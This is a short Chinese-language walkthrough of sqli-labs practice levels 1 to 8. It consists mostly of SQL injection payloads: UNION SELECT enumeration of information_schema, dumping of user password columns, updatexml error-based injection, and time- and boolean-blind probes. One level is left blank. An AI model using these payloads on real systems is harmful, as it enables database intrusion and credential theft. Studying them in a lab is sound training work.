Less-1
加单引号和注释--+可以判断是字符型注入(这里的#注释没有用)
1' order by 3 --+
1' order by 4 --+可以判断有三个回显点
1' and 1=2 union select 1,2,group_concat(database()) --+ 可以看到数据库是security
1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 可以得到以下表
1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ 查询user表可以得到如下字段
1' and 1=2 union select 1,2,group_concat(username,'---',password) from users --+
可以得到账号密码信息
Less-2:
第二题为整型注入
1 order by 3
1 order by 4 可以判断有三个回显点
1 and 1=2 union select 1,2,group_concat(database())
数据库名为security
1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
1 and 1=2 union select 1,2,group_concat(username,'---',password) from users
Less-3:
1') or 1=1 --+
1') and 1=2 --+页面然后成功注入
Less-4:
1") and 1=1 --+
1") and 1=2 --+然后继续注入
Less-5:
单引号闭合加注释,and 1=2,and 1=1 可以发现存在注入点,但是使用select查询语句页面一直回显出 you are in....... 使用一下报错注入
1' union select updatexml(0,concat(0x7e,(select database()),0x7e),0)--+
得到数据库,接下来就是往select查询语句中放想要查询的信息了
Less-6:
1" union select updatexml(0,concat(0x7e,(select database()),0x7e),0)--+
与上题一样,只是将单引号换成了双引号
Less-7:
Less-8:
1' and if (ascii(substr(database(),2,1))>101,0,sleep(6))--+时间盲注
1' and left((select database()),1)='s'--+布尔注入也可以